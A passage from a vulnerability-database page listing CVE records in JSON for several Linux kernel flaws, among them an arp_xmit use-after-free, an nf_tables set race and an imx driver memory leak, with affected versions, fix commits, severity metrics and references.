Linux	Linux	Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < 10f555e3f573d004ae9d89b3276abb58c4ede5c3 (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < 307cd1e2d3cb1cbc6c40c679cada6d7168b18431 (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < d9366ac2f956a1948b68c0500f84a3462ff2ed8a (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < f189654459423d4d48bef2d120b4bfba559e6039 (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < e9f4dee534eb1b225b0a120395ad9bc2afe164d3 (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < 01d1b5c9abcaff29a43f1d17a19c33eec92c7dbe (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < 2c331718d3389b6c5f6855078ab7171849e016bd (git) Affected: 29a26a56803855a79dbd028cd61abee56237d6e5 , < a42b69f692165ec39db42d595f4f65a4c8f42e44 (git)
Linux	Linux	Affected: 4.4 Unaffected: 0 , < 4.4 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21762",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:57:30.024595Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:27.083Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:11.540Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:43.118Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/arp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "10f555e3f573d004ae9d89b3276abb58c4ede5c3",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "307cd1e2d3cb1cbc6c40c679cada6d7168b18431",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "d9366ac2f956a1948b68c0500f84a3462ff2ed8a",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "f189654459423d4d48bef2d120b4bfba559e6039",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "e9f4dee534eb1b225b0a120395ad9bc2afe164d3",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "01d1b5c9abcaff29a43f1d17a19c33eec92c7dbe",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "2c331718d3389b6c5f6855078ab7171849e016bd",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            },
            {
              "lessThan": "a42b69f692165ec39db42d595f4f65a4c8f42e44",
              "status": "affected",
              "version": "29a26a56803855a79dbd028cd61abee56237d6e5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/arp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.4"
            },
            {
              "lessThan": "4.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\narp: use RCU protection in arp_xmit()\n\narp_xmit() can be called without RTNL or RCU protection.\n\nUse RCU protection to avoid potential UAF."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:54.311Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/10f555e3f573d004ae9d89b3276abb58c4ede5c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/307cd1e2d3cb1cbc6c40c679cada6d7168b18431"
        },
        {
          "url": "https://git.kernel.org/stable/c/d9366ac2f956a1948b68c0500f84a3462ff2ed8a"
        },
        {
          "url": "https://git.kernel.org/stable/c/f189654459423d4d48bef2d120b4bfba559e6039"
        },
        {
          "url": "https://git.kernel.org/stable/c/e9f4dee534eb1b225b0a120395ad9bc2afe164d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/01d1b5c9abcaff29a43f1d17a19c33eec92c7dbe"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c331718d3389b6c5f6855078ab7171849e016bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/a42b69f692165ec39db42d595f4f65a4c8f42e44"
        }
      ],
      "title": "arp: use RCU protection in arp_xmit()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21762",
    "datePublished": "2025-02-27T02:18:14.600Z",
    "dateReserved": "2024-12-29T08:45:45.761Z",
    "dateUpdated": "2026-05-12T12:03:43.118Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26643 (GCVE-0-2024-26643)

Vulnerability from cvelistv5 – Published: 2024-03-21 10:43 – Updated: 2026-05-12 11:49

Title

netfilter: nf_tables: mark set as dead when unbinding anonymous set with timeout

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: mark set as dead when unbinding anonymous set with timeout While the rhashtable set gc runs asynchronously, a race allows it to collect elements from anonymous sets with timeouts while it is being released from the commit path. Mingi Cho originally reported this issue in a different path in 6.1.x with a pipapo set with low timeouts which is not possible upstream since 7395dfacfff6 ("netfilter: nf_tables: use timestamp to check for set element timeout"). Fix this by setting on the dead flag for anonymous sets to skip async gc in this case. According to 08e4c8c5919f ("netfilter: nf_tables: mark newset as dead on transaction abort"), Florian plans to accelerate abort path by releasing objects via workqueue, therefore, this sets on the dead flag for abort path too.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d75a589bb92af1abf…
https://git.kernel.org/stable/c/edcf1a3f182ecf8b6…
https://git.kernel.org/stable/c/e2d45f467096e9310…
https://git.kernel.org/stable/c/291cca35818bd52a4…
https://git.kernel.org/stable/c/406b0241d0eb598a0…
https://git.kernel.org/stable/c/b2d6f9a5b1cf968f1…
https://git.kernel.org/stable/c/5224afbc30c3ca9ba…
https://git.kernel.org/stable/c/552705a3650bbf46a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8da1b048f9a501d3d7d38c188ba09d7d0d5b8c27 , < d75a589bb92af1abf3b779cfcd1977ca11b27033 (git) Affected: bbdb3b65aa91aa0a32b212f27780b28987f2d94f , < edcf1a3f182ecf8b6b805f0ce90570ea98c5f6bf (git) Affected: 448be0774882f95a74fa5eb7519761152add601b , < e2d45f467096e931044f0ab7634499879d851a5c (git) Affected: d19e8bf3ea4114dd21fc35da21f398203d7f7df1 , < 291cca35818bd52a407bc37ab45a15816039e363 (git) Affected: ea3eb9f2192e4fc33b795673e56c97a21987f868 , < 406b0241d0eb598a0b330ab20ae325537d8d8163 (git) Affected: 5f68718b34a531a556f2f50300ead2862278da26 , < b2d6f9a5b1cf968f1eaa71085ceeb09c2cb276b1 (git) Affected: 5f68718b34a531a556f2f50300ead2862278da26 , < 5224afbc30c3ca9ba23e752f0f138729b2c48dd8 (git) Affected: 5f68718b34a531a556f2f50300ead2862278da26 , < 552705a3650bbf46a22b1adedc1b04181490fc36 (git) Affected: 0624f190b5742a1527cd938295caa8dc5281d4cd (git)
Linux	Linux	Affected: 6.5 Unaffected: 0 , < 6.5 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26643",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T16:08:32.631906Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T16:08:41.862Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:07:19.747Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d75a589bb92af1abf3b779cfcd1977ca11b27033"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edcf1a3f182ecf8b6b805f0ce90570ea98c5f6bf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e2d45f467096e931044f0ab7634499879d851a5c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/291cca35818bd52a407bc37ab45a15816039e363"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/406b0241d0eb598a0b330ab20ae325537d8d8163"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b2d6f9a5b1cf968f1eaa71085ceeb09c2cb276b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5224afbc30c3ca9ba23e752f0f138729b2c48dd8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/552705a3650bbf46a22b1adedc1b04181490fc36"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:23.174Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d75a589bb92af1abf3b779cfcd1977ca11b27033",
              "status": "affected",
              "version": "8da1b048f9a501d3d7d38c188ba09d7d0d5b8c27",
              "versionType": "git"
            },
            {
              "lessThan": "edcf1a3f182ecf8b6b805f0ce90570ea98c5f6bf",
              "status": "affected",
              "version": "bbdb3b65aa91aa0a32b212f27780b28987f2d94f",
              "versionType": "git"
            },
            {
              "lessThan": "e2d45f467096e931044f0ab7634499879d851a5c",
              "status": "affected",
              "version": "448be0774882f95a74fa5eb7519761152add601b",
              "versionType": "git"
            },
            {
              "lessThan": "291cca35818bd52a407bc37ab45a15816039e363",
              "status": "affected",
              "version": "d19e8bf3ea4114dd21fc35da21f398203d7f7df1",
              "versionType": "git"
            },
            {
              "lessThan": "406b0241d0eb598a0b330ab20ae325537d8d8163",
              "status": "affected",
              "version": "ea3eb9f2192e4fc33b795673e56c97a21987f868",
              "versionType": "git"
            },
            {
              "lessThan": "b2d6f9a5b1cf968f1eaa71085ceeb09c2cb276b1",
              "status": "affected",
              "version": "5f68718b34a531a556f2f50300ead2862278da26",
              "versionType": "git"
            },
            {
              "lessThan": "5224afbc30c3ca9ba23e752f0f138729b2c48dd8",
              "status": "affected",
              "version": "5f68718b34a531a556f2f50300ead2862278da26",
              "versionType": "git"
            },
            {
              "lessThan": "552705a3650bbf46a22b1adedc1b04181490fc36",
              "status": "affected",
              "version": "5f68718b34a531a556f2f50300ead2862278da26",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0624f190b5742a1527cd938295caa8dc5281d4cd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.5"
            },
            {
              "lessThan": "6.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.262",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.198",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.134",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "6.1.56",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: mark set as dead when unbinding anonymous set with timeout\n\nWhile the rhashtable set gc runs asynchronously, a race allows it to\ncollect elements from anonymous sets with timeouts while it is being\nreleased from the commit path.\n\nMingi Cho originally reported this issue in a different path in 6.1.x\nwith a pipapo set with low timeouts which is not possible upstream since\n7395dfacfff6 (\"netfilter: nf_tables: use timestamp to check for set\nelement timeout\").\n\nFix this by setting on the dead flag for anonymous sets to skip async gc\nin this case.\n\nAccording to 08e4c8c5919f (\"netfilter: nf_tables: mark newset as dead on\ntransaction abort\"), Florian plans to accelerate abort path by releasing\nobjects via workqueue, therefore, this sets on the dead flag for abort\npath too."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:01:22.325Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d75a589bb92af1abf3b779cfcd1977ca11b27033"
        },
        {
          "url": "https://git.kernel.org/stable/c/edcf1a3f182ecf8b6b805f0ce90570ea98c5f6bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/e2d45f467096e931044f0ab7634499879d851a5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/291cca35818bd52a407bc37ab45a15816039e363"
        },
        {
          "url": "https://git.kernel.org/stable/c/406b0241d0eb598a0b330ab20ae325537d8d8163"
        },
        {
          "url": "https://git.kernel.org/stable/c/b2d6f9a5b1cf968f1eaa71085ceeb09c2cb276b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/5224afbc30c3ca9ba23e752f0f138729b2c48dd8"
        },
        {
          "url": "https://git.kernel.org/stable/c/552705a3650bbf46a22b1adedc1b04181490fc36"
        }
      ],
      "title": "netfilter: nf_tables: mark set as dead when unbinding anonymous set with timeout",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26643",
    "datePublished": "2024-03-21T10:43:44.103Z",
    "dateReserved": "2024-02-19T14:20:24.137Z",
    "dateUpdated": "2026-05-12T11:49:23.174Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27076 (GCVE-0-2024-27076)

Vulnerability from cvelistv5 – Published: 2024-05-01 13:04 – Updated: 2026-05-12 11:51

Title

media: imx: csc/scaler: fix v4l2_ctrl_handler memory leak

Summary

In the Linux kernel, the following vulnerability has been resolved: media: imx: csc/scaler: fix v4l2_ctrl_handler memory leak Free the memory allocated in v4l2_ctrl_handler_init on release.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/8c2e4efe1278cd2b2…
https://git.kernel.org/stable/c/5d9fe604bf9b5b09d…
https://git.kernel.org/stable/c/b1d0eebaf87cc9ccd…
https://git.kernel.org/stable/c/8df9a3c7044b847e9…
https://git.kernel.org/stable/c/d164ddc21e986dd9a…
https://git.kernel.org/stable/c/42492b00156c03a79…
https://git.kernel.org/stable/c/6c92224721a439d63…
https://git.kernel.org/stable/c/4797a3dd46f220e6d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < 8c2e4efe1278cd2b230cdbf90a6cefbf00acc282 (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < 5d9fe604bf9b5b09d2215225df55f22a4cbbc684 (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < b1d0eebaf87cc9ccd05f779ec4a0589f95d6c18b (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < 8df9a3c7044b847e9c4dc7e683fd64c6b873f328 (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < d164ddc21e986dd9ad614b4b01746e5457aeb24f (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < 42492b00156c03a79fd4851190aa63045d6a15ce (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < 6c92224721a439d6350db5933a1060768dcd565e (git) Affected: a8ef0488cc592921a917362cca66af4a601987b9 , < 4797a3dd46f220e6d83daf54d70c5b33db6deb01 (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:27:58.321Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8c2e4efe1278cd2b230cdbf90a6cefbf00acc282"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5d9fe604bf9b5b09d2215225df55f22a4cbbc684"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b1d0eebaf87cc9ccd05f779ec4a0589f95d6c18b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8df9a3c7044b847e9c4dc7e683fd64c6b873f328"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d164ddc21e986dd9ad614b4b01746e5457aeb24f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/42492b00156c03a79fd4851190aa63045d6a15ce"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6c92224721a439d6350db5933a1060768dcd565e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4797a3dd46f220e6d83daf54d70c5b33db6deb01"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27076",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-01T18:31:08.599457Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-08T15:02:53.804Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:29.425Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/staging/media/imx/imx-media-csc-scaler.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8c2e4efe1278cd2b230cdbf90a6cefbf00acc282",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "5d9fe604bf9b5b09d2215225df55f22a4cbbc684",
              "status": "affected",
